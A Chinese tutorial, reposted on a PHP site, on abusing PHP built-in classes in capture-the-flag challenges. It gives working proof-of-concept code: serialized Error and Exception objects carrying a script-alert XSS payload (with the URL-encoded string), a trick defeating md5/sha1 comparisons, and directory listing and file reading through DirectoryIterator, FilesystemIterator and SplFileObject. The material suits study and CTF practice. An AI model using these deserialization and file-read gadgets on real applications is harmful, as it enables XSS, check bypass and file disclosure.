• 技术文章 >后端开发 >php教程

    PHP原生类的总结分享

    WBOYWBOY2023-01-23 07:30:01转载74

    本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于原生类的相关内容,下面一起来看一下,希望对大家有帮助。

    这次HEctf就是一个原生类的题,只有短短三行代码。果然越短小的代码在ctf里越难。

    首先贴一个遍历php内置类的脚本

     <?php
    $classes = get_declared_classes();
    foreach ($classes as $class) {
        $methods = get_class_methods($class);
        foreach ($methods as $method) {
            if (in_array($method, array(
                '__destruct',
                '__toString',
                '__wakeup',
                '__call',
                '__callStatic',
                '__get',
                '__set',
                '__isset',
                '__unset',
                '__invoke',
                '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
            ))) {
                print $class . '::' . $method . "\n";
            }
        }
        
    }

    结果:

    image.png

    整理一下:

    Exception
    ErrorException
    Error
    ParseError
    TypeError
    ArgumentCountError
     ArithmeticError
    DivisionByZeroError
    ClosedGeneratorException
    DateTime
    DateTimeZone
    DatePeriod
    DirectoryIterator
    wakeup JsonException
    wakeup LogicException
    BadFunctionCallException
    InvalidArgumentException
     OutOfRangeException
    RuntimeException
    OverflowException
    RangeException
    UnderflowException
    GlobIterator
    SplFixedArray
    ReflectionException
    ReflectionFunctionAbstract
    ReflectionParameter
    ReflectionMethod
    ReflectionClass
    ReflectionClassConstant
    ReflectionZendExtension
    AssertionError
    DOMException
    PDOException
    SimpleXMLElement
    mysqli_sql_exception
    PharException
    PharData
    PharFileInfo

    大概就是这些类了,但是在ctf比赛中经常会用到的就是以下几类

    Error/Exception 内置类进行 XSS

    error xss

    __toString方法会返回错误或异常的字符串形式,其中包含我们输入的参数,如果我们构造一串xss代码,结合echo渲染,将触发反射形xss漏洞

    demo:

    <?php
    $a = unserialize($_GET['a']);echo $a;

    poc

    <?php
    $a = new Error("<script>alert('hacker')</script>");
    $b = serialize($a);
    echo urlencode($b);

    输出了一串字符串

    O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
    Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码

    成功弹窗

    image.png

    exception xss

    Exception是所有用户级异常的基类。 (PHP 5, 7, 8)

    <?php
    $a = new Exception("<script>alert('hacker')</script>");
    $b = serialize($a);
    echo urlencode($b);
    ?>

    和error的pop的构造好像是一样的(exception适用于php5和7,error只适用于php7),把error换成exception就行了。依然成功弹窗

    image.png

    Error/Exception 内置类绕过哈希比较

    通过构造这两个类可以啊绕过md5()和sha1()函数。error和exception都有一个重要方法:_tostring,用于将异常对象转换为字符串。

    同样,当md5()和sha1()函数处理对象时,会自动调用__tostring方法

    <?php
    $a = new Error("payload",1);$b=new Error("payload",2);
    echo $a."<br>";
    echo $b."<br>";

    输出结果

    image.png可以看出,payload后面的参数并不影响输出的结果。正是通过这个可以绕过哈希函数。

    <?php
    $a=new Error("payload",1);$b=new Error("payload",2);
    if ($a!=$b){
        echo '$a不等于$b'."\n
    ";}
    if (md5($a)===md5($b)) {
        echo "md5值相等\n";
    }
    if (sha1($a)===sha1($b)){
        echo "sha1值相等\n";
    }

    image.png

    soapclient

    soap的定义

    简单对象访问协议含义

    这里之所以说是简单,是因为它是基于已经广泛使用的两个协议:HTTP和XML,所以业界把这种技术称为“它是第一个没有发明任何新技术的技术",之所以说是对象,是因为把访问的Web服务称为对象,既然服务是对象,那么服务肯定有相关的属性和调用行为,这些属性和行为是通过WSDL来描述的。如果按“简单的对象访问协议”来理解,相比“简单对象访问协议”要容易些

    PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

    该类的构造函数如下:

    public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

    php原生文件操作类

    目录遍历

    DirectoryIterator

    __toString 获取字符串形式的文件名 (PHP 5,7,8)

    例如:

    <?php
    $a = new DirectoryIterator("/");
    foreach($a as $b){
        echo($b.'</br>');
    }
    echo $a;

    image.png输出指定目录里面经过排序之后的第一个文件名

    使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

    <?php
    $a = new DirectoryIterator("glob://*");
    foreach ($a as $b){
        echo $b.'<br>';
    }

    image.png

    利用foreach能遍历所有的文件

    <?php
    $a = new DirectoryIterator("glob:///*");
    foreach ($a as $b){
        echo $b.'<br>';
    }

    image.png

    多一个斜杠,目录往前一个。

    FilesystemIterator 类

    FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

    该类的使用方法与DirectoryIterator 类也是基本相同的:

    <?php
    $a = new FilesystemIterator("glob:///*");
    foreach ($a as $b){
        echo $b.'<br>';
    }

    image.png

    文件读取

    SplFileObject::__toString — 以字符串形式返回文件的路径

    <?php
    $a = new SplFileObject('flag.txt');
    echo $a;

    image.png输出多行

    <?php
    $a = new SplFileObject('flag.txt');
    foreach($a as $f){
        echo($f);
    }

    image.png

    推荐学习:《PHP视频教程

    以上就是PHP原生类的总结分享的详细内容,更多请关注php中文网其它相关文章!

    声明:本文转载于:掘金,如有侵犯,请联系admin@php.cn删除
    专题推荐:php
    上一篇:聊聊PHP escapeshellarg函数使用的中文问题 下一篇:自己动手写 PHP MVC 框架(40节精讲/巨细/新人进阶必看)

    相关文章推荐

    • php 一维数组怎么增加元素• php怎么修改上传文件最大限制• php中三个等号是什么意思• 执行命令php -v提示php不是内部命令怎么办• php怎么统计数组中一共多少个元素
    1/1

    PHP中文网